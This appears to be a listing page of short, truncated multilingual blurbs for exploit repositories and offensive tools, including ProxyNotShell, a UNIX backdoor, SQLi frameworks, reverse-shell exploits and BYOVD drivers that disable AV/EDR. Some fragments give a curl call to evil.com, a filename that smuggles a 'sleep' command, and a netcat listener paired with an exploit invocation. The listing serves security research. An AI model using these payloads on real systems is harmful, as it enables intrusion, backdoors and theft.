ProxyNotShell-PoC

CVE-2022-41040 और CVE-2022-41082 के लिए कार्यशील PoC उर्फ ProxyNotShell आवश्यकता: pip install requestsntlm2 requests उपयोग: root@kitploit: python pocaug3.py श्रेय: ProxyShell PoC स्क्रिप्ट का स्रोत: https://blog.viettelcybersecurity.com/pwn2own-2021-microsoft-exchange-exploit-chain/ Gtsc की ब्लॉग...

jdwp-shellifier

Script di sfruttamento per JDWP Cos'è? Questo script di sfruttamento è pensato per essere usato dai pentester contro un servizio JDWP attivo, al fine di ottenere l'esecuzione remota di codice Remote Code Execution. Come funziona? In modo abbastanza standard, lo script richiede solo un interprete...

CVE-2026-6666-XPC-Service-NSKeyedUnarchiver-Deserialization-Attack-macOS-iOS-simulation-

CVE-2026-6666 – Attacco di deserializzazione NSKeyedUnarchiver al servizio XPC simulazione macOS/iOS Codice del programma simulazione Python root@kitploit: !/usr/bin/env python3 vulnerablexpcservice.py - Simulated XPC service using unsafe plist deserialization import plistlib, subprocess,...

routers-exploit

Open-Source-Repo mit PoCs und in Routern gefundenen Schwachstellen TP LINK TL-WR849N - Remote-Befehlsausführung PoC CVE-2020-9374 - TP LINK TL-WR849N - Remote-Befehlsausführung PoC root@kitploit: Payload: "$ls" TP LINK TL-WR849N - Authentifizierungs-Bypass: Firmware- und Konfigurations-Update TP...

system_bt_AOSP10_r33_CVE-2021-0435

Fluoride Bluetooth-Stack Erstellen und Ausführen auf AOSP Einfach AOSP bauen - Fluoride ist standardmäßig enthalten. Erstellen und Ausführen unter Linux Anweisungen für Ubuntu, getestet auf 14.04 mit Clang 3.5.0 und 16.10 mit Clang 3.8.0 Quellcode herunterladen root@kitploit: mkdir /fluoride cd...

system_bt_AOSP10_r33_CVE-2021-0522

Stack Bluetooth Fluoride Compilazione ed esecuzione su AOSP È sufficiente compilare AOSP: Fluoride è incluso per impostazione predefinita. Compilazione ed esecuzione su Linux Istruzioni per Ubuntu, testate su 14.04 con Clang 3.5.0 e su 16.10 con Clang 3.8.0 Scaricamento del codice sorgente...

semgrep-rules

semgrep-rules "The attack surface is the vulnerability. Finding a bug there is just a detail." -- Mark Dowd "Some details are more important than others." -- Fedor G. Pikus A collection of my Semgrep rules to facilitate vulnerability research. Blog posts...

retryabledns

Retryable dns resolver Based on miekg/dns and freely inspired by bogdanovich/dnsresolver. Features Supports both system default DNS resolvers and user-provided ones Retries DNS requests in case of I/O errors, timeouts, or network failures Allows arbitrary query types Resolution with random...

doona

Doona - Network fuzzing tool .:: About ::. Doona is a fork of the Bruteforce Exploit Detector Tool BED. BED is a program which is designed to check daemons for potential buffer overflows, format string bugs etc. Doona is Australian for duvet. It adds a significant enough number of features/change...

tsh-sctp

Tiny SHell - An open-source UNIX backdoor root@kitploit: Before compiling Tiny SHell 1. First of all, you should setup your secret key, which is located in tsh.h; the key can be of any length use at least 12 characters for better security. 2. It is advised to change SERVERPORT, the port on which...

pysqli

PySQLi - Python SQL injection framework 1. Overview PySQLi is a python framework designed to exploit complex SQL injection vulnerabilities. It provides dedicated bricks that can be used to build advanced exploits or easily extended/improved to fit the case. 2. Why another SQLi framework ? Simple...

smbexec

root@kitploit: smbexec A rapid psexec style attack with samba tools Original Concept and Script by Brav0Hax & PureHate Ported to ruby and modified by Smilingraccoon and Zeknox Codename - Machiavellian Written because we got sick of Metasploit PSExec getting popped Special thanks to Carnal0wnage...

CVE-2025-51643

CVE-2025-51643: Flash SPI non protetto consente l'estrazione del firmware in Meitrack T366G-L Descrizione I dispositivi Meitrack T366G-L GPS Tracker contengono un chip di memoria flash SPI Winbond 25Q64JVSIQ accessibile senza autenticazione o protezione anti-manomissione. Un attaccante con access...

CVE-2026-23744-PoC

CVE-2026-23744-PoC PoC sulla vulnerabilità in MCP Server. Automatizzato per la parte POST con il corpo corretto. percorso vulnerabile: root@kitploit: /api/mcp/connect metodo tramite curl: root@kitploit: curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data...

POC-CVE-2026-19681

CVE-2026-19681 — Befehlsinjektion in der Verarbeitung von Datei-Uploads authentifiziert Status: BESTÄTIGT in einer 6.7.2-14.el9-Lab-Umgebung 2026-08-20. Über POST /rest/file/upload wurde ein präparierter Dateiname p;sleep$IFS20;-EvvfJk eingebracht das Kontext-Präfix trägt die Metazeichen;...

PoC-CVE-2025-66224

OrangeHRM RCE Exploit - CVE-2025-66224 📋 Descrizione Questa Proof of Concept PoC dimostra una vulnerabilità di Remote Code Execution RCE in OrangeHRM tramite command injection nel parametro di configurazione sendmailpath. L'exploit funziona in questo modo: 1. Inietta un payload dannoso nel databa...

cve-2024-25600

Exploit Repository: CVE-2024-25600 🔥 Unauthenticated RCE Exploit for WordPress Bricks Builder Welcome to the official repository for the CVE-2024-25600 exploit targeting WordPress Bricks Builder version 1.9.6 and below. This exploit allows for the execution of arbitrary code remotely, posing a...

langflow-rce-exploit

Langflow RCE Exploit CVE-2025-3248 Exploit di Remote Code Execution per Langflow CVE-2025-3248 Caratteristiche Rilevamento automatico della vulnerabilità Modalità di exploit multiple: Shell interattiva Esecuzione di un singolo comando Connessione reverse shell Caricamento di file Interfaccia uten...

CVE-2018-14699

CVE-2018-14699 Unauthentifizierte Command Injection in der enableuser-Funktion von DroboAccess v2.1 Verwendung: Starten Sie zuerst einen Listener ncat -nvlp 1337 Führen Sie dann den Exploit aus Beispiel: exploit.py -t 192.168.1.122:8080 -l 192.168.1.2 -p 1337 '-t', '--target', help='Host für die...

BYOVD

BYOVD is a collection of PoCs demonstrating how vulnerable drivers can be exploited to disable AV/EDR solutions. The collection includes both undocumented drivers and those with existing coverage in LOLDDrivers or Microsoft's recommended driver block rules. Since its initial discovery, the TfSysM...